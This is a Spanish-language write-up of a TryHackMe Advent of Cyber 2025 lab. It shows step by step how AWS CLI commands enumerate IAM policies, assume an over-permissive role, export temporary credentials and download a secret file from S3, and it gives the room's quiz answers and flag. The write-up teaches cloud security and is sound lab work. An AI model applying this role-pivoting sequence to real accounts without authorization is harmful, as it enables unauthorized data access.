Day 23: S3cret Santa - Advent of Cyber 2025
xhetic
@xhetic
📚 Esta publicación pertenece a las colecciones:
Day 23: S3cret Santa - Advent of Cyber 2025
Este writeup pertenece al evento Advent of Cyber 2025 de TryHackMe. Hoy trabajamos con credenciales AWS ya configuradas en la máquina y aprovechamos malas configuraciones de IAM para encontrar datos sensibles en S3.
Room: AWS Security - S3cret Santa
Dificultad: Easy
🔐 Primeros pasos: Comprobando las credenciales AWS
Lo primero es verificar que las credenciales que ya están configuradas funcionan. Uso el comando de STS que nos devuelve la identidad asociada a las credenciales configuradas:
aws sts get-caller-identityEn mi caso la salida muestra el campo Account con un número que identifica la cuenta AWS:
{
"UserId": "j8xuqmb80cwf7jkkqgsq",
"Account": "123456789012",
"Arn": "arn:aws:iam::123456789012:user/sir.carrotbane"
}Pregunta: What is the number shown for the "Account" parameter?
Respuesta: 123456789012
🧭 Entendiendo IAM rápidamente
IAM (Identity and Access Management) controla quién puede hacer qué en AWS. Los permisos se describen mediante policies — documentos JSON que definen acciones, recursos y condiciones. Es fundamental revisar las políticas adjuntas a un usuario antes de intentar realizar acciones más agresivas.
Pregunta: What IAM component is used to describe the permissions to be assigned to a user or a group?
Respuesta: Policy
🕵️♂️ Enumerando políticas del usuario
Con las credenciales configuradas, enumero las políticas en línea asignadas al usuario objetivo:
aws iam list-user-policies --user-name sir.carrotbaneLa respuesta muestra el nombre de la policy en línea asignada:
{
"PolicyNames": [
"SirCarrotbanePolicy"
]
}Pregunta: What is the name of the policy assigned to sir.carrotbane?
Respuesta: SirCarrotbanePolicy
🛡️ Buscando vectores de escalada: roles asumibles
El siguiente paso es comprobar si el usuario puede asumir roles (sts:AssumeRole). Si es así, podemos obtener privilegios temporales a través de STS.
- Listo los roles disponibles:
aws iam list-roles- Encuentro el rol
bucketmastery compruebo sus políticas:
aws iam list-role-policies --role-name bucketmaster
aws iam get-role-policy --role-name bucketmaster --policy-name BucketMasterPolicyLa política del rol muestra permisos sobre S3, por ejemplo ListAllMyBuckets, ListBucket y GetObject. Esto nos da acceso de lectura sobre buckets y objetos.
Pregunta: Apart from GetObject and ListBucket, what other action can be taken by assuming the bucketmaster role?
Respuesta: ListAllMyBuckets
🧾 Asumiendo el rol y obteniendo credenciales temporales
Asumo el rol bucketmaster con STS:
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/bucketmaster --role-session-name TBFCLa salida contiene credenciales temporales (AccessKeyID, SecretAccessKey, SessionToken). Las exporto al entorno para usarlas con la CLI:
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="abcd..."
export AWS_SESSION_TOKEN="FwoGZXIv..."
aws sts get-caller-identityAl volver a ejecutar get-caller-identity compruebo que ahora opero como la identidad asumida:
{
"UserId": "AROARZPUZDIKFYG6ZG5MM:TBFC",
"Account": "123456789012",
"Arn": "arn:aws:sts::123456789012:assumed-role/bucketmaster/TBFC"
}📦 Explorando S3 y exfiltrando secretos
Con los permisos del rol puedo listar buckets y revisar su contenido.
aws s3api list-buckets
aws s3api list-objects --bucket easter-secrets-123145Encuentro un fichero interesante cloud_password.txt. Lo descargo localmente:
aws s3api get-object --bucket easter-secrets-123145 --key cloud_password.txt cloud_password.txt
cat cloud_password.txtPregunta: What are the contents of the cloud_password.txt file?
Respuesta: THM{more_like_sir_cloudbane}
🏁 Conclusión
Este reto demuestra la importancia de auditar recursos IAM y de aplicar el principio de privilegio mínimo. Un usuario con permiso para sts:AssumeRole puede pivotar a roles con acceso a datos sensibles (como buckets S3) si las políticas no están bien diseñadas.
Si te perdiste el reto de ayer, echa un vistazo al Día 22: Command & Carol.
Recuerda que puedes seguir toda la serie de retos en nuestra colección completa del Advent of Cyber 2025.
¡Nos vemos mañana para más hacking navideño! 🎄